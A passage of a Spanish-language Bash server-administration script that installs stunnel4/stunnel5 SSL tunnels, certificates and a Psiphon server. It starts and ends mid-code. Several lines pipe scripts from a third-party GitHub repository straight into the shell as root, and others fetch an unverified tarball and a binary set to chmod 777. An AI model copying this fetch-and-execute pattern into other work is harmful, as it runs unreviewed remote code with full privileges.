/etc/stunnel/stunnel.conf +car_cert +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +service stunnel4 restart > /dev/null 2>&1 +[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null +msg -bar +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL" +echo -e "\033[1;34m ##############################" +echo -e "\033[1;33m INSTALACION EXITOSA" +msg -bar +return 0 +;; +4) +msg -bar +echo -e "\033[1;36m SSL Stunnel" +msg -bar +echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna" +echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS" +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " Ingresa el Puerto Local de tu VPS (Default 22) " + read -p " Local-Port: " -e -i $pt portx + tput cuu1 >&2 && tput dl1 >&2 + [[ $(mportas | grep $portx) ]] && break + echo -e "\033[1;33m El puerto seleccionado no existe" + unset portx + msg -bar + done +msg -bar +DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)" + while true; do + echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)" + read -p " Listen-SSL: " SSLPORT + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done +msg -bar +echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" +msg -bar +fun_bar "apt install stunnel4 -y" +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/certificadossl.sh) +echo -e "cert = /etc/stunnel/stunnel.pem\nclient = no\nsocket = a:SO_REUSEADDR=1\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[stunnel]\nconnect = 127.0.0.1:${DPORT}\naccept = ${SSLPORT}" > /etc/stunnel/stunnel.conf +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +[[ -e /data/cert.crt && -e /data/cert.key ]] && cat /data/cert.key /data/cert.crt >> /etc/stunnel/stunnel.pem || { +echo -e " ERROR AL CREAR CERTIFICADO " +apt purge stunnel4 -y > /dev/null 2>&1 +[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL" +echo -e "\033[1;34m ##############################" +echo -e "\033[1;33m INSTALACION FALLIDA" +msg -bar +return 0 +} +service stunnel4 restart > /dev/null 2>&1 +msg -bar +#echo "Limpiando sistema y Reiniciando Servicios" +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null +swapoff -a && swapon -a 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL" +echo -e "\033[1;34m ##############################" +echo -e "\033[1;33m INSTALACION EXITOSA" +msg -bar +return 0 +;; +5) +#echo -e " ESTE MINI SCRIPT ES FUE DESARROLLADO POR @KillShito " +echo "" +echo -e " Creditos a @ChumoGH " +msg -bar +read -p " Presiona Enter para continuar " +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/zerossl.sh) +return 0 +;; +6) +msg -bar +echo -e " ESTE MINI SCRIPT ES FUE DESARROLLADO POR @KillShito " +echo "" +echo -e " Creditos a @KillShito " +msg -bar +read -p " Presiona Enter para continuar " +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/front.sh) +return 0 +;; +*) +return 0 +;; +esac +} + +_fun_ST5() { +sudo apt install autoconf automake libpcre3-dev libnl-3-dev libsqlite3-dev libssl-dev ethtool build-essential g++ libnl-genl-3-dev libgcrypt20-dev libtool python3-distutils -y +sudo apt install -y pkg-config +#git clone https://github.com/mtrojnar/stunnel.git +wget -O stunnel.tar.gz https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/stunnel-5.65.tar.gz +tar xzf stunnel.tar.gz +rm -f stunnel.tar.gz +cd ./stunnel-5.65 +#cd ./stunnel +./configure +make +make install +#cd /ADMcgh && rm -rf stunnel* +[[ -z $(cat /etc/passwd | grep "stunnel" | grep -v "stunnel4") ]] && useradd -s /usr/sbin/nologin -r stunnel +[[ -d /var/lib/stunnel ]] || mkdir /var/lib/stunnel +chown stunnel:stunnel /var/lib/stunnel +cp /usr/local/share/doc/stunnel/examples/stunnel.init /etc/init.d/stunnel5 +chmod 755 /etc/init.d/stunnel5 +cp /usr/local/share/doc/stunnel/examples/stunnel.service /etc/systemd/system/stunnel5.service +} +function inst_stunnel5() { + sleep 1 + helice() { + _fun_ST5 >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37m INSTALANDO Y COMPILANDO \033[1;32mSTUNNEL \033[1;37mV \033[1;32m5\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" + helice + echo -e "\e[1DOk" +} + +ssl_stunel5 () { +unset lang + +sslkk +[[ $(mportas|grep stunnel|head -1) ]] && { +[[ ! -e /usr/local/etc/stunnel/stunnel.conf && -e /etc/stunnel/stunnel.conf ]] && { +echo -e " TE REDIRECCIONAREMOS HACIA STUNNEL 4" && sleep 2s +ssl_stunel4 && return +} +# INICIO STUNNEL ACTIVO +#/ADMcgh/header "ports_" +msg -bar +echo -e "${cor[2]} SSL / TLS -> STUNNEL5 ACTIVOS : $sslports " +msg -bar +echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m ADICIONAR + PUERTO SSL (STUNNEL5) \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m CERRAR TODOS LOS PUERTO(s) SSL" +msg -bar +selection=$(selection_fun 2) +case ${selection} in +0) +return 0 +;; +1)source header "ports_" +unset portserv +echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna (Default 22) " +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " Ingresa el Puerto Local de tu VPS (Default 22) " + read -p " Local-Port: " -e -i $pt portserv + if [[ ! -z $portserv ]]; then + if lsof -Pi :$portserv -sTCP:LISTEN -t >/dev/null ; then + break + else + portserv="$pt" + break + fi + fi + done + while true; do + echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)" + read -p " Listen-SSL: " SSLPORT + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done + +echo " +[stunnel5] +accept = ${SSLPORT} +connect = ${portserv} +cert = /usr/local/etc/stunnel/stunnel.cert +key = /usr/local/etc/stunnel/stunnel.key +" >> /usr/local/etc/stunnel/stunnel.conf +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL5 - SSL" +echo -e "\033[1;34m ##############################" +[[ -f "/usr/sbin/ufw" ]] && ufw allow $portserv/tcp +service ssh restart 1>/dev/null 2 /dev/null +systemctl daemon-reload &>/dev/null +systemctl restart stunnel5 &>/dev/null +sslkk +echo -e "${cor[2]}STUNNEL5 ACTIVO en Puertos : ${cor[2]}$sslports " +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null +swapoff -a && swapon -a 1> /dev/null 2> /dev/null +unset lang +return 0 +;; +2) +unset lang +msg -bar +echo -e "\033[1;33m Cerrando PUERTO SSL/TLS" +msg -bar +fun_bar +systemctl daemon-reload &>/dev/null +systemctl stop stunnel5 &>/dev/null +systemctl disable stunnel5 &>/dev/null +rm -f /etc/systemd/system/stunnel5.service &>/dev/null +rm -rf /usr/local/etc/stunnel &>/dev/null +rm -rf /usr/local/share/doc/stunnel &>/dev/null +rm -rf /ADMcgh/stunnel* &>/dev/null +rm -rf /var/lib/stunnel +msg -bar +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null +swapoff -a && swapon -a 1> /dev/null 2> /dev/null +rm -rf /etc/stunnel/* > /dev/null +echo -e "\033[1;33m PUERTO SSL/TLS CERRADO!" +msg -bar +return 0 +;; +esac +#FIN VERIFICA STUNNEL5 ACTIVO +} +unset lang +figlet " STUNNEL5 " | boxes -d stone -p a2v1 +msg -bar +echo -e "${cor[2]} Certificado SSL/TLS ( Default: @ChumoGH ) " +msg -bar +echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado AUTOMATICO \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado con DOMINIO \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m${flech}\033[0;33m Cargar con ZIP URL \033[0;32m(#OFICIAL)" +msg -bar +selection=$(selection_fun 4) +case ${selection} in +1) +msg -bar +echo -e "\033[1;36m SSL Stunnel" +msg -bar +echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna" +echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS" +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " Ingresa el Puerto Local de tu VPS (Default 22) " + read -p " Local-Port: " -e -i $pt portx + tput cuu1 >&2 && tput dl1 >&2 + [[ $(mportas | grep $portx) ]] && break + echo -e "\033[1;33m El puerto seleccionado no existe" + unset portx + msg -bar + done +msg -bar +DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)" + while true; do + echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)" + read -p " Listen-SSL: " SSLPORT + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done +msg -bar +echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" +msg -bar +inst_stunnel5 +echo "; It is recommended to drop root privileges if stunnel is started by root +setuid = stunnel +setgid = stunnel + +; PID file is created inside the chroot jail (if enabled) +chroot = /var/lib/stunnel +pid = /stunnel.pid + +; TLS front-end to a web server +; Use the cert and key from certbot +[https] +accept = ${SSLPORT} +connect = ${DPORT} +cert = /usr/local/etc/stunnel/stunnel.cert +key = /usr/local/etc/stunnel/stunnel.key +" > /usr/local/etc/stunnel/stunnel.conf +openssl genrsa -out key.pem 2048 > /dev/null 2>&1 +(echo "$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" ; echo "" ; echo "$(cat < /bin/ejecutar/IPcgh):81" ; echo "" ; echo "" ; echo "" ; echo "@ChumoGH")|openssl req -new -x509 -key key.pem -out cert.pem -days 1095 > /dev/null 2>&1 +[[ -d /usr/local/etc/stunnel ]] && cat cert.pem > /usr/local/etc/stunnel/stunnel.cert +[[ -d /usr/local/etc/stunnel ]] && cat key.pem > /usr/local/etc/stunnel/stunnel.key +[[ -e /usr/local/share/doc/stunnel/examples/stunnel.init ]] && cp /usr/local/share/doc/stunnel/examples/stunnel.init /etc/init.d/stunnel5 +chmod 755 /etc/init.d/stunnel5 +cp /usr/local/share/doc/stunnel/examples/stunnel.service /etc/systemd/system/stunnel5.service +systemctl daemon-reload &>/dev/null +systemctl start stunnel5 &>/dev/null +systemctl enable stunnel5 &>/dev/null +msg -bar +[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL5 - SSL" +echo -e "\033[1;34m ##############################" +echo -e "\033[1;33m INSTALACION EXITOSA" +msg -bar +return 0 +;; +2) +msg -bar +echo -e "\033[1;36m SSL Stunnel" +msg -bar +echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna" +echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS" +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " Ingresa el Puerto Local de tu VPS (Default 22) " + read -p " Local-Port: " -e -i $pt portx + tput cuu1 >&2 && tput dl1 >&2 + [[ $(mportas | grep $portx) ]] && break + echo -e "\033[1;33m El puerto seleccionado no existe" + unset portx + msg -bar + done +msg -bar +DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)" + while true; do + echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)" + read -p " Listen-SSL: " SSLPORT + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done +msg -bar +echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" +msg -bar +inst_stunnel5 +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/certificadossl.sh) +echo "; It is recommended to drop root privileges if stunnel is started by root +setuid = stunnel +setgid = stunnel + +; PID file is created inside the chroot jail (if enabled) +chroot = /var/lib/stunnel +pid = /stunnel.pid + +; TLS front-end to a web server +; Use the cert and key from certbot +[https] +accept = ${SSLPORT} +connect = ${DPORT} +cert = /usr/local/etc/stunnel/stunnel.cert +key = /usr/local/etc/stunnel/stunnel.key +" > /usr/local/etc/stunnel/stunnel.conf +cp /usr/local/share/doc/stunnel/examples/stunnel.init /etc/init.d/stunnel5 +chmod 755 /etc/init.d/stunnel5 +cp /usr/local/share/doc/stunnel/examples/stunnel.service /etc/systemd/system/stunnel5.service +[[ -e /data/cert.crt && -e /data/cert.key ]] && { +cat /data/cert.key > /usr/local/etc/stunnel/stunnel.key +cat /data/cert.crt > /usr/local/etc/stunnel/stunnel.cert +} || { +echo -e " ERROR AL CREAR CERTIFICADO " +rm -f /etc/systemd/system/stunnel5.service &>/dev/null +rm -rf /usr/local/etc/stunnel/* &>/dev/null +rm -rf /usr/local/share/doc/stunnel &>/dev/null +rm -rf /ADMcgh/stunnel-5.65 &>/dev/null +rm -f /usr/local/etc/stunnel/stunnel.conf &>/dev/null +[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL5 - SSL" +echo -e "\033[1;34m ##############################" +echo -e "\033[1;33m INSTALACION FALLIDA" +msg -bar +return 0 +} +systemctl daemon-reload &>/dev/null +systemctl start stunnel5 &>/dev/null +systemctl enable stunnel5 &>/dev/null +msg -bar +#echo "Limpiando sistema y Reiniciando Servicios" +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null +swapoff -a && swapon -a 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL5 - SSL" +echo -e "\033[1;34m ##############################" +echo -e "\033[1;33m INSTALACION EXITOSA" +msg -bar +return 0 +;; +3) +msg -bar +echo -e "\033[1;36m SSL Stunnel" +msg -bar +echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna" +echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS" +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " Ingresa el Puerto Local de tu VPS (Default 22) " + read -p " Local-Port: " -e -i $pt portx + tput cuu1 >&2 && tput dl1 >&2 + [[ $(mportas | grep $portx) ]] && break + echo -e "\033[1;33m El puerto seleccionado no existe" + unset portx + msg -bar + done +msg -bar +DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)" + while true; do + echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)" + read -p " Listen-SSL: " SSLPORT + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done +msg -bar +echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" +msg -bar +inst_stunnel5 +[[ -e /usr/local/etc/stunnel/stunnel.cert && -e /usr/local/etc/stunnel/stunnel.key ]] && echo -e "Ya Existe un certificado SSL Cargado \n Recuerde Cargar SU Certificado y Key del SSL " | pv -qL 25 +msg -bar +echo -e "Descarga el fichero URL del Certificado SSL " +msg -bar + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mPara este Paso debes tener el URL del certificado Online" + echo -e " Si Aun no lo has hecho, Cancela este paso" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar +msg -bar +echo -e "Ingrese Link del Fichero URL de tu ZIP con los Certificados " +msg -bar +read -p " Pega tu Link : " urlm +wget -q -O certificados.zip $urlm && echo -e "Descargando Fichero ZIP " || echo "Link de descarga Invalido" +msg -bar +echo -ne "\033[1;42m ZIPS Existentes : " && ls | grep zip && echo -e "\033[1;42m" +msg -bar +unzip certificados.zip 1> /dev/null 2> /dev/null && echo -e "Descomprimiendo Ficheros descargados" || echo -e "Error al Descomprimir " +[[ $(ls | grep ".key") ]] && cat *.key > /usr/local/etc/stunnel/stunnel.key && echo -e " \033[1;42m Key del Certificado cargada Exitodamente\033[0m" || echo -e " \033[1;41mClaves Invalidas\033[0m" +[[ $(ls | grep ".crt") ]] && cat *.crt > /usr/local/etc/stunnel/stunnel.cert && echo -e "\033[1;42m CRT del Certificado cargada Exitodamente\033[0m" || echo -e "\033[1;41mClaves Invalidas\033[0m" +[[ $(ls | grep ".pem") ]] && cat *.pem > /usr/local/etc/stunnel/stunnel.cert && echo -e "\033[1;42m PEM del Certificado cargada Exitodamente\033[0m" +rm -f *.key *.crt *.pem certificados.zip 1> /dev/null 2> /dev/null && cd $HOME +echo "; It is recommended to drop root privileges if stunnel is started by root +setuid = stunnel +setgid = stunnel + +; PID file is created inside the chroot jail (if enabled) +chroot = /var/lib/stunnel +pid = /stunnel.pid + +; TLS front-end to a web server +; Use the cert and key from certbot +[https] +accept = ${SSLPORT} +connect = ${DPORT} +cert = /usr/local/etc/stunnel/stunnel.cert +key = /usr/local/etc/stunnel/stunnel.key +" > /usr/local/etc/stunnel/stunnel.conf +cp /usr/local/share/doc/stunnel/examples/stunnel.init /etc/init.d/stunnel5 +chmod 755 /etc/init.d/stunnel5 +cp /usr/local/share/doc/stunnel/examples/stunnel.service /etc/systemd/system/stunnel5.service +[[ -e /usr/local/etc/stunnel/stunnel.key && -e /usr/local/etc/stunnel/stunnel.cert ]] || { +echo -e " ERROR AL CREAR CERTIFICADO " +rm -f /etc/systemd/system/stunnel5.service &>/dev/null +rm -rf /usr/local/etc/stunnel/* &>/dev/null +rm -rf /usr/local/share/doc/stunnel &>/dev/null +rm -rf /ADMcgh/stunnel-5.65 &>/dev/null +rm -f /usr/local/etc/stunnel/stunnel.conf &>/dev/null +[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m FALLO AL INSTALAR STUNNEL5 - SSL" +echo -e "\033[1;34m ##############################" +echo -e "\033[1;33m INSTALACION FALLIDA" +msg -bar +return 0 +} +systemctl daemon-reload &>/dev/null +systemctl start stunnel5 &>/dev/null +systemctl enable stunnel5 &>/dev/null +msg -bar +#echo "Limpiando sistema y Reiniciando Servicios" +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null +swapoff -a && swapon -a 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL5 - SSL" +echo -e "\033[1;34m ##############################" +echo -e "\033[1;33m INSTALACION EXITOSA" +msg -bar +return 0 +;; +*) +return 0 +;; +esac +} + + +painel_upload () { +msg -bar +echo -e "${cor[2]}Desea Instalar Panel De Upload?" +msg -bar +read -p " [ s | n ]: " up_load +msg -bar + [[ "$up_load" = @(s|S|y|Y) ]] && bash /ADMcgh/insta_painel || { + echo -e "${cor[2]}Instalacao Abortada" + msg -bar + } +} + + +function psix(){ +clear +tittle +echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m${flech} ${cor[3]}PSIPHON OFICIAL " +echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m${flech} ${cor[3]}PSIPHON HTTP CUSTOM ( \033[0;33mNEW\033[0m )" +echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m${flech} ${cor[3]}INICIAR PSIPHON " +echo -e "\033[0;35m [\033[0;36m4\033[0;35m]\033[0;31m${flech} ${cor[3]}DETENER PSIPHON" +echo -e "\033[0;35m [\033[0;36m5\033[0;35m]\033[0;31m${flech} ${cor[3]}DETENER PSIPHON" +msg -bar +echo -e "\033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m ${flech} $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")" +msg -bar #msg -bar +selection=$(selection_fun 5) +case ${selection} in +1) +psiserver +read -p " Enter";; +2) +psiservernew +read -p " Enter";; +3) +psiiniciar +read -p " Enter";; +4) +psidetener +read -p " Enter";; +5) +psireiniciar +read -p " Enter";; +0) +return;; +esac +} + +function psireiniciar(){ +echo -e "\033[1;33m Se iniciar el servidor de Psiphon Custom\033[0m" +echo -e "\033[1;33m Debes tener Instalador el Servidor\033[0m" +echo -e "\033[1;33m Continuar?\033[0m" +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +if [[ ${yesno} = @(s|S|y|Y) ]]; then +kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1> /dev/null 2> /dev/null +killall psiphond 1> /dev/null 2> /dev/null +cd /root/psi 2> /dev/null +screen -dmS psi ./psiphond run 2> /dev/null +if pgrep psiphond >/dev/null +then +echo "Status: El proceso se ha reiniciado" +else +echo "Status: El servicio est detenido" +fi +fi +echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m" +read -p " " +} + +function psidetener(){ +echo -e "\033[1;33m Se iniciar el servidor de Psiphon Custom\033[0m" +echo -e "\033[1;33m Debes tener Instalador el Servidor\033[0m" +echo -e "\033[1;33m Continuar?\033[0m" +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +if [[ ${yesno} = @(s|S|y|Y) ]]; then +kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1> /dev/null 2> /dev/null +killall psiphond 1> /dev/null 2> /dev/null +if pgrep psiphond >/dev/null +then +echo "Status: El proceso aun sigue activo" +else +echo "Status: El servicio se ha detenido" +fi +fi +echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m" +read -p " " +} + +function psiiniciar(){ +echo -e "\033[1;33m Se iniciar el servidor de Psiphon Custom\033[0m" +echo -e "\033[1;33m Debes tener Instalador el Servidor\033[0m" +echo -e "\033[1;33m Continuar?\033[0m" +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +if [[ ${yesno} = @(s|S|y|Y) ]]; then +kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1> /dev/null 2> /dev/null +killall psiphond 1> /dev/null 2> /dev/null +cd /root/psi 2> /dev/null +screen -dmS psi ./psiphond run 2> /dev/null +if pgrep psiphond >/dev/null +then +echo "Status: El proceso se ha iniciado" +else +echo "Status: El servicio no se ha iniciado. Verifique su configuracin o reinstale el servidor" +fi +fi +echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m" +read -p " " +} + +psiserver(){ + install_psiphone() { + clear && clear + if ps aux | grep 'psiphond' | grep -v grep >/dev/null; then + echo "El proceso psiphond ya está activo." + exit 1 + fi + + msg -bar + msg -tit + msg -bar + msg -ama " INSTALADOR DE SERVR-PSIPHONE" + msg -bar +rm -rf /root/psi +echo -e "\033[1;33m Se instalará el servidor de Psiphon\033[0m" +echo -e "\033[1;33m ESTA OPCION PODRIA NO FUNCIONAR EN CIERTOS VPS\033[0m" +echo -e "\033[1;33m Si ya tenías una instalacion Previa, esta se eliminara\033[0m" +echo -e "\033[1;33m Debes tener instalado previamente GO Lang \033[0m" +echo -e "\033[1;33m BINARIO FUNCIONAL BAJO GOLANG >='1.20.xx' \033[0m" +echo -e "\033[1;33m PUEDES INSTALAR GO-LANG EN EL MENU 7, OPC 15\033[0m" +echo -e "\033[1;33m Continuar?\033[0m" +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +if [[ ${yesno} = @(s|S|y|Y) ]]; then +rm -rf /root/psi +kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1> /dev/null 2> /dev/null +killall psiphond 1> /dev/null 2> /dev/null +cd /root +mkdir psi +cd psi +psi=`cat /root/psi.txt`; +ship=$(wget -qO- ipv4.icanhazip.com) +curl -o /root/psi/psiphond https://raw.githubusercontent.com/Psiphon-Labs/psiphon-tunnel-core-binaries/master/psiphond/psiphond 1> /dev/null 2> /dev/null +chmod 777 psiphond + while true; do + echo -e "\033[1;33m PUERTO Psiphon SSH ( NO LOCAL SSH 22 ):\033[0m" + read -p " Listen-P-SSH: " sh + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $sh` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$sh"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 +#2 + while true; do + echo -e "\033[1;33m Escribe el puerto para Psiphon OSSH:\033[0m" + read -p " Listen-P-OSSH: " osh + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $osh` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$osh"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 +#3 + while true; do + echo -e "\033[1;33m Escribe el puerto para Psiphon FRONTED-MEEK:\033[0m" + read -p " Listen-P-OSSH: " fm + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $fm` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$fm"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 +#4 + while true; do + echo -e "\033[1;33m Escribe el puerto para Psiphon UNFRONTED-MEEK:\033[0m" + read -p " Listen UNFRONTED-MEEK: " umo + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $umo` + [[ -n "$PortSSL" ]] || break + 